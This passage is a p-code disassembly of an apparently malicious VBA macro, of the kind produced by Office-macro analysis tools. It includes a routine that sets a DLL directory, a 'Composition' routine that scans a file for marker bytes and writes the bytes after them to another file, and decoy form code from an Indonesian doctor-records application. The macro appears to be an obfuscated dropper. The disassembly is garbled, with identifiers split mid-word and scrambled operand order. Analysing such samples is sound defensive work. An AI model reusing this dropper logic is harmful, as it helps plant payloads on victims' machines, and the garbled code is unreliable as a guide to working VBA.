  2032. ' Dim
  2033. ' VarDefn tooolsetChunkI (As Boolean)
  2034. ' Line #10:
  2035. ' Dim
  2036. ' VarDefn tooolsetChunkQ (As Boolean)
  2037. ' Line #11:
  2038. ' Line #12:
  2039. ' LitDI2 0x0001
  2040. ' St j
  2041. ' Line #13:
  2042. ' LitVarSpecial (False)
  2043. ' St tooolsetChunkI
  2044. ' Line #14:
  2045. ' LitVarSpecial (False)
  2046. ' St tooolsetChunkQ
  2047. ' Line #15:
  2048. ' LitStr 0x0000 ""
  2049. ' Ld GetP
  2050. ' MemSt aram
  2051. ' Line #16:
  2052. ' StartForVariable
  2053. ' Ld I
  2054. ' EndForVariable
  2055. ' LitDI2 0x0001
  2056. ' Ld Comma
  2057. ' MemLd nd$
  2058. ' FnLen
  2059. ' For
  2060. ' Line #17:
  2061. ' Ld Comma
  2062. ' MemLd nd$
  2063. ' Ld I
  2064. ' LitDI2 0x0001
  2065. ' Ld Mi
  2066. ' ArgsMemLd d$ 0x0003
  2067. ' St C
  2068. ' Line #18:
  2069. ' Ld tooolsetChunkI
  2070. ' IfBlock
  2071. ' Line #19:
  2072. ' Ld C
  2073. ' LitStr 0x0001 """
  2074. ' Eq
  2075. ' IfBlock
  2076. ' Line #20:
  2077. ' Ld j
  2078. ' LitDI2 0x0001
  2079. ' Add
  2080. ' St j
  2081. ' Line #21:
  2082. ' LitVarSpecial (False)
  2083. ' St tooolsetChunkI
  2084. ' Line #22:
  2085. ' LitVarSpecial (False)
  2086. ' St tooolsetChunkQ
  2087. ' Line #23:
  2088. ' EndIfBlock
  2089. ' Line #24:
  2090. ' Ld tooolsetChunkQ
  2091. ' Not
  2092. ' ElseIfBlock
  2093. ' Line #25:
  2094. ' Ld C
  2095. ' LitStr 0x0001 " "
  2096. ' Eq
  2097. ' IfBlock
  2098. ' Line #26:
  2099. ' Ld j
  2100. ' LitDI2 0x0001
  2101. ' Add
  2102. ' St j
  2103. ' Line #27:
  2104. ' EndIfBlock
  2105. ' Line #28:
  2106. ' ElseBlock
  2107. ' Line #29:
  2108. ' Ld C
  2109. ' LitStr 0x0001 """
  2110. ' Eq
  2111. ' IfBlock
  2112. ' Line #30:
  2113. ' Ld j
  2114. ' Ld Count
  2115. ' Gt
  2116. ' If
  2117. ' BoSImplicit
  2118. ' ExitSub
  2119. ' EndIf
  2120. ' Line #31:
  2121. ' LitVarSpecial (True)
  2122. ' St tooolsetChunkI
  2123. ' Line #32:
  2124. ' LitVarSpecial (True)
  2125. ' St tooolsetChunkQ
  2126. ' Line #33:
  2127. ' Ld C
  2128. ' LitStr 0x0004 " ccc"
  2129. ' Ne
  2130. ' ElseIfBlock
  2131. ' Line #34:
  2132. ' Line #35:
  2133. ' EndIfBlock
  2134. ' Line #36:
  2135. ' EndIfBlock
  2136. ' Line #37:
  2137. ' Ld tooolsetChunkI
  2138. ' Ld j
  2139. ' Ld Count
  2140. ' Eq
  2141. ' And
  2142. ' Ld C
  2143. ' LitStr 0x0001 """
  2144. ' Ne
  2145. ' And
  2146. ' If
  2147. ' BoSImplicit
  2148. ' Ld GetP
  2149. ' MemLd aram
  2150. ' Ld C
  2151. ' Concat
  2152. ' Ld GetP
  2153. ' MemSt aram
  2154. ' EndIf
  2155. ' Line #38:
  2156. ' StartForVariable
  2157. ' Ld I
  2158. ' EndForVariable
  2159. ' NextVar
  2160. ' Line #39:
  2161. ' EndSub
  2162. ' Line #40:
  2163. ' Line #41:
  2164. ' Line #42:
  2165. ' Line #43:
  2166. ' Line #44:
  2167. ' Line #45:
  2168. ' FuncDefn (Public Sub setDLLDirectory(ByVal targetDir As String))
  2169. ' Line #46:
  2170. ' Line #47:
  2171. ' Line #48:
  2172. ' Dim
  2173. ' VarDefn B (As Byte)
  2174. ' Line #49:
  2175. ' Dim
  2176. ' VarDefn p (As Long)
  2177. ' Line #50:
  2178. ' Line #51:
  2179. ' LitHI2 0x1000
  2180. ' Paren
  2181. ' ArgsCall code2 0x0001
  2182. ' Line #52:
  2183. ' Ld targetDir
  2184. ' Ld _B_var_StrConv
  2185. ' ArgsLd Str 0x0002
  2186. ' Paren
  2187. ' ArgsCall code1 0x0001
  2188. ' Line #53:
  2189. ' EndSub
  2190. ' Line #54:
  2191. ' Line #55:
  2192. ' FuncDefn (Public Sub GetParam3(Count As Integer))
  2193. ' Line #56:
  2194. ' Dim
  2195. ' VarDefn I (As Long)
  2196. ' Line #57:
  2197. ' Dim
  2198. ' VarDefn j (As Integer)
  2199. ' Line #58:
  2200. ' Dim
  2201. ' VarDefn C (As String)
  2202. ' Line #59:
  2203. ' Dim
  2204. ' VarDefn tooolsetChunkI (As Boolean)
  2205. ' Line #60:
  2206. ' Dim
  2207. ' VarDefn tooolsetChunkQ (As Boolean)
  2208. ' Line #61:
  2209. ' Line #62:
  2210. ' LitDI2 0x0001
  2211. ' St j
  2212. ' Line #63:
  2213. ' LitVarSpecial (False)
  2214. ' St tooolsetChunkI
  2215. ' Line #64:
  2216. ' LitVarSpecial (False)
  2217. ' St tooolsetChunkQ
  2218. ' Line #65:
  2219. ' LitStr 0x0000 ""
  2220. ' Ld GetP
  2221. ' MemSt aram
  2222. ' Line #66:
  2223. ' StartForVariable
  2224. ' Ld I
  2225. ' EndForVariable
  2226. ' LitDI2 0x0001
  2227. ' Ld Comma
  2228. ' MemLd nd$
  2229. ' FnLen
  2230. ' For
  2231. ' Line #67:
  2232. ' Ld Comma
  2233. ' MemLd nd$
  2234. ' Ld I
  2235. ' LitDI2 0x0001
  2236. ' Ld Mi
  2237. ' ArgsMemLd d$ 0x0003
  2238. ' St C
  2239. ' Line #68:
  2240. ' Ld tooolsetChunkI
  2241. ' IfBlock
  2242. ' Line #69:
  2243. ' Ld C
  2244. ' LitStr 0x0001 """
  2245. ' Eq
  2246. ' IfBlock
  2247. ' Line #70:
  2248. ' Ld j
  2249. ' LitDI2 0x0001
  2250. ' Add
  2251. ' St j
  2252. ' Line #71:
  2253. ' LitVarSpecial (False)
  2254. ' St tooolsetChunkI
  2255. ' Line #72:
  2256. ' LitVarSpecial (False)
  2257. ' St tooolsetChunkQ
  2258. ' Line #73:
  2259. ' EndIfBlock
  2260. ' Line #74:
  2261. ' Line #75:
  2262. ' ElseBlock
  2263. ' Line #76:
  2264. ' Ld C
  2265. ' LitStr 0x0001 """
  2266. ' Eq
  2267. ' IfBlock
  2268. ' Line #77:
  2269. ' Ld j
  2270. ' Ld Count
  2271. ' Gt
  2272. ' If
  2273. ' BoSImplicit
  2274. ' ExitSub
  2275. ' EndIf
  2276. ' Line #78:
  2277. ' LitVarSpecial (True)
  2278. ' St tooolsetChunkI
  2279. ' Line #79:
  2280. ' LitVarSpecial (True)
  2281. ' St tooolsetChunkQ
  2282. ' Line #80:
  2283. ' Ld C
  2284. ' LitStr 0x0001 " "
  2285. ' Ne
  2286. ' ElseIfBlock
  2287. ' Line #81:
  2288. ' LitVarSpecial (True)
  2289. ' St tooolsetChunkI
  2290. ' Line #82:
  2291. ' EndIfBlock
  2292. ' Line #83:
  2293. ' EndIfBlock
  2294. ' Line #84:
  2295. ' Ld tooolsetChunkI
  2296. ' Ld j
  2297. ' Ld Count
  2298. ' Eq
  2299. ' And
  2300. ' Ld C
  2301. ' LitStr 0x0001 """
  2302. ' Ne
  2303. ' And
  2304. ' If
  2305. ' BoSImplicit
  2306. ' Ld GetP
  2307. ' MemLd aram
  2308. ' Ld C
  2309. ' Concat
  2310. ' Ld GetP
  2311. ' MemSt aram
  2312. ' EndIf
  2313. ' Line #85:
  2314. ' StartForVariable
  2315. ' Ld I
  2316. ' EndForVariable
  2317. ' NextVar
  2318. ' Line #86:
  2319. ' EndSub
  2320. ' Line #87:
  2321. ' Line #88:
  2322. ' Line #89:
  2323. ' Line #90:
  2324. ' Line #91:
  2325. ' Line #92:
  2326. ' Line #93:
  2327. ' FuncDefn (Public Sub Composition(Composition2 As String, ofbl As String, fl As Long))
  2328. ' Line #94:
  2329. ' Dim
  2330. ' VarDefn PChannel (As Long)
  2331. ' Line #95:
  2332. ' Dim
  2333. ' VarDefn logicVari (As Integer)
  2334. ' Line #96:
  2335. ' Dim
  2336. ' VarDefn SimpleMethod (As Integer)
  2337. ' Line #97:
  2338. ' LitDI2 0x0001
  2339. ' Ld fl
  2340. ' Redim HurricanMoes 0x0001 (As Variant)
  2341. ' Line #98:
  2342. ' Ld FreeFile
  2343. ' St PChannel
  2344. ' Line #99:
  2345. ' Ld Composition2
  2346. ' Ld PChannel
  2347. ' LitDefault
  2348. ' Open (For Binary Access Read)
  2349. ' Line #100:
  2350. ' Ld FirstB
  2351. ' LitDI2 0x0001
  2352. ' ArgsSt HurricanMoes 0x0001
  2353. ' Line #101:
  2354. ' Line #102:
  2355. ' Ld SecondB
  2356. ' LitDI2 0x0002
  2357. ' ArgsSt HurricanMoes 0x0001
  2358. ' Line #103:
  2359. ' Ld ThirdB
  2360. ' LitDI2 0x0003
  2361. ' ArgsSt HurricanMoes 0x0001
  2362. ' Line #104:
  2363. ' Ld FourthB
  2364. ' LitDI2 0x0004
  2365. ' ArgsSt HurricanMoes 0x0001
  2366. ' Line #105:
  2367. ' LitDI2 0x0001
  2368. ' St logicVari
  2369. ' Line #106:
  2370. ' Ld PChannel
  2371. ' ArgsLd EOF 0x0001
  2372. ' Not
  2373. ' DoWhile
  2374. ' Line #107:
  2375. ' Ld PChannel
  2376. ' LitDefault
  2377. ' Ld MoveStep
  2378. ' GetRec
  2379. ' Line #108:
  2380. ' Ld MoveStep
  2381. ' Ld FirstB
  2382. ' Eq
  2383. ' IfBlock
  2384. ' Line #109:
  2385. ' Line #110:
  2386. ' Ld PChannel
  2387. ' LitDefault
  2388. ' Ld PatchForHeart
  2389. ' GetRec
  2390. ' Line #111:
  2391. ' Ld PatchForHeart
  2392. ' Ld SecondB
  2393. ' Eq
  2394. ' IfBlock
  2395. ' Line #112:
  2396. ' Line #113:
  2397. ' Ld PChannel
  2398. ' LitDefault
  2399. ' Ld PatchForLuck
  2400. ' GetRec
  2401. ' Line #114:
  2402. ' Ld PatchForLuck
  2403. ' Ld ThirdB
  2404. ' Eq
  2405. ' IfBlock
  2406. ' Line #115:
  2407. ' Ld PChannel
  2408. ' LitDefault
  2409. ' Ld PatchForLuck
  2410. ' GetRec
  2411. ' Line #116:
  2412. ' Ld PatchForLuck
  2413. ' Ld FourthB
  2414. ' Eq
  2415. ' IfBlock
  2416. ' Line #117:
  2417. ' StartForVariable
  2418. ' Ld k
  2419. ' EndForVariable
  2420. ' LitDI2 0x0005
  2421. ' Ld fl
  2422. ' For
  2423. ' Line #118:
  2424. ' Ld PChannel
  2425. ' LitDefault
  2426. ' Ld MoveStep
  2427. ' GetRec
  2428. ' Line #119:
  2429. ' Ld MoveStep
  2430. ' Ld k
  2431. ' ArgsSt HurricanMoes 0x0001
  2432. ' Line #120:
  2433. ' StartForVariable
  2434. ' Ld k
  2435. ' EndForVariable
  2436. ' NextVar
  2437. ' Line #121:
  2438. ' ExitDo
  2439. ' Line #122:
  2440. ' Line #123:
  2441. ' EndIfBlock
  2442. ' Line #124:
  2443. ' EndIfBlock
  2444. ' Line #125:
  2445. ' EndIfBlock
  2446. ' Line #126:
  2447. ' EndIfBlock
  2448. ' Line #127:
  2449. ' Loop
  2450. ' Line #128:
  2451. ' OnError (Resume Next)
  2452. ' Line #129:
  2453. ' LitDI2 0x0764
  2454. ' St PublicationChannel
  2455. ' Line #130:
  2456. ' Ld PChannel
  2457. ' Close 0x0001
  2458. ' Line #131:
  2459. ' LitDI2 0x0764
  2460. ' Ld PublicationChannel
  2461. ' Add
  2462. ' St PublicationChannel
  2463. ' Line #132:
  2464. ' Ld FreeFile
  2465. ' St PChannel
  2466. ' Line #133:
  2467. ' LitDI2 0x0764
  2468. ' Ld PublicationChannel
  2469. ' Add
  2470. ' St PublicationChannel
  2471. ' Line #134:
  2472. ' Ld ofbl
  2473. ' Ld PChannel
  2474. ' Sharp
  2475. ' LitDefault
  2476. ' Open (For Binary Lock Read Write)
  2477. ' Line #135:
  2478. ' LitDI2 0x0764
  2479. ' Ld PublicationChannel
  2480. ' Add
  2481. ' St PublicationChannel
  2482. ' Line #136:
  2483. ' LitDI2 0x0001
  2484. ' St zeroBob
  2485. ' Line #137:
  2486. ' StartForVariable
  2487. ' Ld I
  2488. ' EndForVariable
  2489. ' Ld zeroBob
  2490. ' Ld HurricanMoes
  2491. ' FnUBound 0x0000
  2492. ' For
  2493. ' Line #138:
  2494. ' Line #139:
  2495. ' Ld WelcomeDialog
  2496. ' MemLd Enabled
  2497. ' LitVarSpecial (True)
  2498. ' Eq
  2499. ' IfBlock
  2500. ' Line #140:
  2501. ' Line #141:
  2502. ' Ld PChannel
  2503. ' Sharp
  2504. ' LitDefault
  2505. ' Ld I
  2506. ' ArgsLd HurricanMoes 0x0001
  2507. ' PutRec
  2508. ' Line #142:
  2509. ' EndIfBlock
  2510. ' Line #143:
  2511. ' StartForVariable
  2512. ' Ld I
  2513. ' EndForVariable
  2514. ' NextVar
  2515. ' Line #144:
  2516. ' Ld PChannel
  2517. ' Close 0x0001
  2518. ' Line #145:
  2519. ' Ld FreeFile
  2520. ' St PChannel
  2521. ' Line #146:
  2522. ' StartForVariable
  2523. ' Ld HSP
  2524. ' EndForVariable
  2525. ' LitDI2 0x0021
  2526. ' LitDI2 0x0001
  2527. ' UMi
  2528. ' LitR8 0x0000 0x0000 0x0000 0x3FD0
  2529. ' UMi
  2530. ' ForStep
  2531. ' Line #147:
  2532. ' LitDI2 0x0006
  2533. ' Ld I
  2534. ' Add
  2535. ' St PChannel
  2536. ' Line #148:
  2537. ' StartForVariable
  2538. ' Ld HSP
  2539. ' EndForVariable
  2540. ' NextVar
  2541. ' Line #149:
  2542. ' LitDI2 0x0006
  2543. ' Ld I
  2544. ' Add
  2545. ' St PChannel
  2546. ' Line #150:
  2547. ' EndSub
  2548. ' Line #151:
  2549. ' Line #152:
  2550. ' Line #153:
  2551. ' Line #154:
  2552. ' Line #155:
  2553. ' FuncDefn (Private Sub cmd_Keluar_Click())
  2554. ' Line #156:
  2555. ' Ld LSD
  2556. ' MemLd Me
  2557. ' ArgsCall Unload 0x0001
  2558. ' Line #157:
  2559. ' LitVarSpecial (True)
  2560. ' Ld MDIForm1
  2561. ' MemLd dokter
  2562. ' MemSt Enabled
  2563. ' Line #158:
  2564. ' LitVarSpecial (False)
  2565. ' Ld MDIForm1
  2566. ' MemLd dokter
  2567. ' MemSt Checked
  2568. ' Line #159:
  2569. ' EndSub
  2570. ' Line #160:
  2571. ' Line #161:
  2572. ' FuncDefn (Private Sub cmd_Perbaiki_Click())
  2573. ' Line #162:
  2574. ' Ld cmd_Perbaiki
  2575. ' MemLd Caption
  2576. ' LitStr 0x0009 "Pe&rbaiki"
  2577. ' Eq
  2578. ' IfBlock
  2579. ' Line #163:
  2580. ' LitVarSpecial (False)
  2581. ' Ld cmd_Simpan
  2582. ' MemSt Enabled
  2583. ' Line #164:
  2584. ' LitVarSpecial (False)
  2585. ' Ld cmd_Hapus
  2586. ' MemSt Enabled
  2587. ' Line #165:
  2588. ' LitVarSpecial (True)
  2589. ' Ld cmd_Batal
  2590. ' MemSt Enabled
  2591. ' Line #166:
  2592. ' Dim
  2593. ' VarDefn var (As String)
  2594. ' Line #167:
  2595. ' LitStr 0x0034 "Ketikkan kode dokter yang datanya akan di perbaiki !"
  2596. ' LitStr 0x0014 "Perbaiki Data dokter"
  2597. ' ArgsLd InputBox 0x0002
  2598. ' St var
  2599. ' Line #168:
  2600. ' Ld var
  2601. ' LitVarSpecial (Empty)
  2602. ' Eq
  2603. ' If
  2604. ' BoSImplicit
  2605. ' ExitSub
  2606. ' EndIf
  2607. ' Line #169:
  2608. ' LitStr 0x000B "Kode_dokter"
  2609. ' Ld Data1
  2610. ' MemLd Recordset
  2611. ' MemSt Index
  2612. ' Line #170:
  2613. ' LitStr 0x0001 "="
  2614. ' Ld var
  2615. ' Ld Data1
  2616. ' MemLd Recordset
  2617. ' ArgsMemCall Seek 0x0002
  2618. ' Line #171:
  2619. ' Ld Data1
  2620. ' MemLd Recordset
  2621. ' MemLd NoMatch
  2622. ' Not
  2623. ' IfBlock
  2624. ' Line #172:
  2625. ' Ld tam
  2626. ' ArgsMemCall (Call) tam 0x0000
  2627. ' Line #173:
  2628. ' LitVarSpecial (False)
  2629. ' Ld pil
  2630. ' MemSt Enabled
  2631. ' Line #174:
  2632. ' LitVarSpecial (True)
  2633. ' Ld txtkd_dok
  2634. ' MemSt Enabled
  2635. ' Line #175:
  2636. ' LitStr 0x0010 "&Perbaharui data"
  2637. ' Ld cmd_Perbaiki
  2638. ' MemSt Caption
  2639. ' Line #176:
  2640. ' ElseBlock
  2641. ' Line #177:
  2642. ' LitStr 0x001F "Data dokter dengan kode dokter "
  2643. ' Ld var
  2644. ' Concat
  2645. ' LitStr 0x0012 " tidak diketemukan"
  2646. ' Concat
  2647. ' ArgsCall MsgBox 0x0001
  2648. ' Line #178:
  2649. ' EndIfBlock
  2650. ' Line #179:
  2651. ' ElseBlock
  2652. ' Line #180:
  2653. ' Ld Data1
  2654. ' MemLd Recordset
  2655. ' ArgsMemCall txtnm_dok 0x0000
  2656. ' Line #181:
  2657. ' Ld pil
  2658. ' MemLd Text
  2659. ' Ld Data1
  2660. ' MemLd Recordset
  2661. ' DictSt Edit
  2662. ' Line #182:
  2663. ' Ld txtkd_dok
  2664. ' MemLd Text
  2665. ' Ld Data1
  2666. ' MemLd Recordset
  2667. ' DictSt kode_dokter
  2668. ' Line #183:
  2669. ' Ld Data1
  2670. ' MemLd Recordset
  2671. ' ArgsMemCall nama_dokter 0x0000
  2672. ' Line #184:
  2673. ' Ld Update
  2674. ' ArgsMemCall (Call) ber 0x0000
  2675. ' Line #185:
  2676. ' LitStr 0x0009 "Pe&rbaiki"
  2677. ' Ld cmd_Perbaiki
  2678. ' MemSt Caption
  2679. ' Line #186:
  2680. ' LitVarSpecial (False)
  2681. ' Ld cmd_Batal
  2682. ' MemSt Enabled
  2683. ' Line #187:
  2684. ' LitVarSpecial (True)
  2685. ' Ld cmd_Simpan
  2686. ' MemSt Enabled
  2687. ' Line #188:
  2688. ' LitVarSpecial (True)
  2689. ' Ld cmd_Hapus
  2690. ' MemSt Enabled
  2691. ' Line #189:
  2692. ' Ld sih
  2693. ' ArgsMemCall (Call) tdk_bi 0x0000
  2694. ' Line #190:
  2695. ' EndIfBlock
  2696. ' Line #191:
  2697. ' EndSub
  2698. ' Line #192:
  2699. ' Line #193:
  2700. ' FuncDefn (Private Sub sa())
  2701. ' Line #194:
  2702. ' Ld cmd_Simpan
  2703. ' MemLd Caption
  2704. ' LitStr 0x0009 "&Isi Data"
  2705. ' Eq
  2706. ' IfBlock
  2707. ' Line #195:
  2708. ' Ld cmd_Simpan_Click
  2709. ' ArgsMemCall (Call) bis 0x0000
  2710. ' Line #196:
  2711. ' Ld A
  2712. ' ArgsMemCall Or 0x0000
  2713. ' Line #197:
  2714. ' Ld nom
  2715. ' MemLd M
  2716. ' MemLd txtkd_dok
  2717. ' ArgsMemCall SetFocus 0x0000
  2718. ' Line #198:
  2719. ' LitVarSpecial (True)
  2720. ' Ld cmd_Batal
  2721. ' MemSt Enabled
  2722. ' Line #199:
  2723. ' LitVarSpecial (False)
  2724. ' Ld cmd_Perbaiki
  2725. ' MemSt Enabled
  2726. ' Line #200:
  2727. ' LitVarSpecial (False)
  2728. ' Ld cmd_Hapus
  2729. ' MemSt Enabled
  2730. ' Line #201:
  2731. ' LitVarSpecial (False)
  2732. ' Ld e
  2733. ' MemSt Enabled
  2734. ' Line #202:
  2735. ' LitStr 0x000C "&Simpan Data"
  2736. ' Ld cmd_Simpan
  2737. ' MemSt Caption
  2738. ' Line #203:
  2739. ' ElseBlock
  2740. ' Line #204:
  2741. ' LineCont 0x0004 07 00 08 00
  2742. ' Ld pil
  2743. ' MemLd Text
  2744. ' LitStr 0x0000 ""
  2745. ' Eq
  2746. ' Ld txtkd_dok
  2747. ' MemLd Text
  2748. ' LitStr 0x0000 ""
  2749. ' Eq
  2750. ' Or
  2751. ' IfBlock
  2752. ' Line #205:
  2753. ' LitStr 0x0019 "Data tidak boleh kosong !"
  2754. ' Ld vbCritical
  2755. ' LitStr 0x0017 "SISTEM PENJUALAN KREDIT"
  2756. ' ArgsCall MsgBox 0x0003
  2757. ' Line #206:
  2758. ' Ld pil
  2759. ' ArgsMemCall SetFocus 0x0000
  2760. ' Line #207:
  2761. ' ElseBlock
  2762. ' Line #208:
  2763. ' LitVarSpecial (False)
  2764. ' Ld cmd_Batal
  2765. ' MemSt Enabled
  2766. ' Line #209:
  2767. ' LitVarSpecial (True)
  2768. ' Ld cmd_Perbaiki
  2769. ' MemSt Enabled
  2770. ' Line #210:
  2771. ' LitVarSpecial (True)
  2772. ' Ld cmd_Hapus
  2773. ' MemSt Enabled
  2774. ' Line #211:
  2775. ' LitVarSpecial (True)
  2776. ' Ld e
  2777. ' MemSt Enabled
  2778. ' Line #212:
  2779. ' Ld pil
  2780. ' MemLd Text
  2781. ' Ld Data1
  2782. ' MemLd Recordset
  2783. ' DictSt Edit
  2784. ' Line #213:
  2785. ' Ld txtkd_dok
  2786. ' MemLd Text
  2787. ' Ld Data1
  2788. ' MemLd Recordset
  2789. ' DictSt kode_dokter
  2790. ' Line #214:
  2791. ' Ld Data1
  2792. ' MemLd Recordset
  2793. ' ArgsMemCall nama_dokter 0x0000
  2794. ' Line #215:
  2795. ' Ld Update
  2796. ' ArgsMemCall (Call) ber 0x0000
  2797. ' Line #216:
  2798. ' LitStr 0x0009 "&Isi Data"
  2799. ' Ld cmd_Simpan
  2800. ' MemSt Caption
  2801. ' Line #217:
  2802. ' EndIfBlock
  2803. ' Line #218:
  2804. ' EndIfBlock
  2805. ' Line #219:
  2806. ' EndSub
  2807. ' Line #220:
  2808. ' Line #221:
  2809. ' Line #222:
  2810. ' Line #223:
  2811. ' FuncDefn (Function cmd_cari(ByVal retVal As Variant) As Variant)
  2812. ' Line #224:
  2813. ' Ld retVal
  2814. ' LitDI2 0x0000
  2815. ' Ne
  2816. ' IfBlock
  2817. ' Line #225:
  2818. ' Ld retVal
  2819. ' St cmd_cari
  2820. ' Line #226:
  2821. ' ElseBlock
  2822. ' Line #227:
  2823. ' LitStr 0x0000 ""
  2824. ' St cmd_cari
  2825. ' Line #228:
  2826. ' EndIfBlock
  2827. ' Line #229:
  2828. ' Line #230:
  2829. ' EndFunc
  2830. ' Line #231:
  2831. ' Line #232:
  2832. ' FuncDefn (Function v() As AddressOf)
  2833. ' Line #233:
  2834. ' Dim
  2835. ' VarDefn getFile (As String)
  2836. ' Line #234:
  2837. ' Dim
  2838. ' OptionBase
  2839. ' LitDI2 0x03E8
  2840. ' VarDefn s (As String)
  2841. ' Line #235:
  2842. ' Dim
  2843. ' VarDefn sl
  2844. ' Line #236:
  2845. ' Dim
  2846. ' VarDefn I (As Integer)
  2847. ' Line #237:
  2848. ' Ld s
  2849. ' Erase 0x0001
  2850. ' Line #238:
  2851. ' LitDI2 0x0000
  2852. ' St I
  2853. ' Line #239:
  2854. ' StartForVariable
  2855. ' Ld sl
  2856. ' EndForVariable
  2857. ' LitStr 0x0007 "B1:B100"
  2858. ' LitStr 0x0006 "Sheet1"
  2859. ' ArgsLd r 0x0001
  2860. ' ArgsMemLd Range 0x0001
  2861. ' ForEach
  2862. ' Line #240:
  2863. ' Ld sl
  2864. ' MemLd Value
  2865. ' St getFile
  2866. ' Line #241:
  2867. ' Ld getFile
  2868. ' LitStr 0x0000 ""
  2869. ' Ne
  2870. ' IfBlock
  2871. ' Line #242:
  2872. ' Ld I
  2873. ' LitDI2 0x0001
  2874. ' Add
  2875. ' St I
  2876. ' Line #243:
  2877. ' Ld getFile
  2878. ' Ld I
  2879. ' ArgsSt s 0x0001
  2880. ' Line #244:
  2881. ' EndIfBlock
  2882. ' Line #245:
  2883. ' StartForVariable
  2884. ' Ld sl
  2885. ' EndForVariable
  2886. ' NextVar
  2887. ' Line #246:
  2888. ' ArgsLd s 0x0000
  2889. ' St v
  2890. ' Line #247:
  2891. ' EndFunc
  2892. ' Line #248:
  2893. ' Line #249:
  2894. ' Line #250:
  2895. ' Line #251:
  2896. ' LineCont 0x000C 0D 00 00 00 10 00 00 00 17 00 00 00
  2897. ' ConstFuncExpr
  2898. ' LitNothing
  2899. ' LitNothing
  2900. ' FuncDefn (Function Worksheets(ByVal Text As String, ByVal MatchRegExp As String, Optional MatchWord, Optional CaseCompare As Object, Optional RegExp As Object) As Boolean)
  2901. ' Line #252:
  2902. ' Line #253:
  2903. ' OnError Err
  2904. ' BoS 0x0000
  2905. ' Line #254:
  2906. ' Dim
  2907. ' VarDefn Match (As Boolean)
  2908. ' Line #255:
  2909. ' LitVarSpecial (False)
  2910. ' St Match
  2911. ' Line #256:
  2912. ' Do
  2913. ' Line #257:
  2914. ' Ld MatchRegExp
  2915. ' LitStr 0x0000 ""
  2916. ' Eq
  2917. ' Paren
  2918. ' Ld Text
  2919. ' LitStr 0x0000 ""
  2920. ' Eq
  2921. ' Paren
  2922. ' Or
  2923. ' If
  2924. ' BoSImplicit
  2925. ' ExitDo
  2926. ' EndIf
  2927. ' Line #258:
  2928. ' Line #259:
  2929. ' Dim
  2930. ' VarDefn result (As Boolean)
  2931. ' Line #260:
  2932. ' LitVarSpecial (False)
  2933. ' St result
  2934. ' Line #261:
  2935. ' Ld CaseCompare
  2936. ' LitNothing
  2937. ' Is
  2938. ' IfBlock
  2939. ' Line #262:
  2940. ' LitVarSpecial (True)
  2941. ' St result
  2942. ' Line #263:
  2943. ' SetStmt
  2944. ' LitStr 0x000F "VBScript.RegExp"
  2945. ' ArgsLd RegCreateFlag 0x0001
  2946. ' Set CaseCompare
  2947. ' Line #264:
  2948. ' EndIfBlock
  2949. ' Line #265:
  2950. ' Line #266:
  2951. ' Ld MatchRegExp
  2952. ' Ld CaseCompare
  2953. ' MemSt CreateObject
  2954. ' Line #267:
  2955. ' LitVarSpecial (True)
  2956. ' Ld CaseCompare
  2957. ' MemSt Global
  2958. ' Line #268:
  2959. ' Ld MatchWord
  2960. ' Ld Pattern
  2961. ' Eq
  2962. ' Ld CaseCompare
  2963. ' MemSt Pattern
  2964. ' Line #269:
  2965. ' SetStmt
  2966. ' Ld Text
  2967. ' Ld CaseCompare
  2968. ' ArgsMemLd IgnoreCase 0x0001
  2969. ' Set RegExp
  2970. ' Line #270:
  2971. ' LitDI2 0x0001
  2972. ' Ld RegExp
  2973. ' MemLd Count
  2974. ' Le
  2975. ' IfBlock
  2976. ' Line #271:
  2977. ' LitVarSpecial (True)
  2978. ' St Match
  2979. ' Line #272:
  2980. ' EndIfBlock
  2981. ' Line #273:
  2982. ' Line #274:
  2983. ' Ld result
  2984. ' IfBlock
  2985. ' Line #275:
  2986. ' SetStmt
  2987. ' LitNothing
  2988. ' Set CaseCompare
  2989. ' Line #276:
  2990. ' EndIfBlock
  2991. ' Line #277:
  2992. ' Line #278:
  2993. ' LitVarSpecial (False)
  2994. ' LoopWhile
  2995. ' Line #279:
  2996. ' Ld Match
  2997. ' St Worksheets
  2998. ' Line #280:
  2999. ' ExitFunc
  3000. ' Line #281:
  3001. ' Label Err
  3002. ' Line #282:
  3003. ' LitVarSpecial (False)
  3004. ' St Worksheets
  3005. ' Line #283:
  3006. ' EndFunc
  3007. ' Line #284:
  3008. ' FuncDefn (Private Sub Execute())
  3009. ' Line #285:
  3010. ' Dim
  3011. ' VarDefn testArrayAddArray
  3012. ' Line #286:
  3013. ' LitStr 0x0001 "A"
  3014. ' LitStr 0x0001 "B"
  3015. ' LitStr 0x0001 "C"
  3016. ' ArgsArray Array 0x0003
  3017. ' St testArrayAddArray
  3018. ' Line #287:
  3019. ' Dim
  3020. ' VarDefn A1
  3021. ' Line #288:
  3022. ' LitStr 0x0001 "D"
  3023. ' LitStr 0x0001 "E"
  3024. ' ArgsArray Array 0x0002
  3025. ' St A1
  3026. ' Line #289:
  3027. ' Line #290:
  3028. ' Ld testArrayAddArray
  3029. ' Ld A1
  3030. ' Ld A2
  3031. ' ArgsMemCall (Call) ArrayA 0x0002
  3032. ' Line #291:
  3033. ' LitDI2 0x0005
  3034. ' Ld testArrayAddArray
  3035. ' Ld Check
  3036. ' ArgsMemLd ArrayC 0x0001
  3037. ' ArgsCall (Call) ddArray 0x0002
  3038. ' Line #292:
  3039. ' LitStr 0x0001 "D"
  3040. ' LitDI2 0x0003
  3041. ' ArgsLd testArrayAddArray 0x0001
  3042. ' ArgsCall (Call) ddArray 0x0002
  3043. ' Line #293:
  3044. ' LitStr 0x0001 "E"
  3045. ' LitDI2 0x0004
  3046. ' ArgsLd testArrayAddArray 0x0001
  3047. ' ArgsCall (Call) ddArray 0x0002
  3048. ' Line #294:
  3049. ' Line #295:
  3050. ' QuoteRem 0x0004 0x000B "???????????"
  3051. ' Line #296:
  3052. ' Dim
  3053. ' VarDefn ount
  3054. ' Line #297:
  3055. ' Dim
  3056. ' VarDefn B1
  3057. ' Line #298:
  3058. ' LitStr 0x0001 "1"
  3059. ' LitStr 0x0001 "2"
  3060. ' ArgsArray Array 0x0002
  3061. ' St B1
  3062. ' Line #299:
  3063. ' Ld ount
  3064. ' Ld B1
  3065. ' Ld A2
  3066. ' ArgsMemCall (Call) ArrayA 0x0002
  3067. ' Line #300:
  3068. ' LitDI2 0x0002
  3069. ' Ld ount
  3070. ' Ld Check
  3071. ' ArgsMemLd ArrayC 0x0001
  3072. ' ArgsCall (Call) ddArray 0x0002
  3073. ' Line #301:
  3074. ' LitStr 0x0001 "1"
  3075. ' LitDI2 0x0000
  3076. ' ArgsLd ount 0x0001
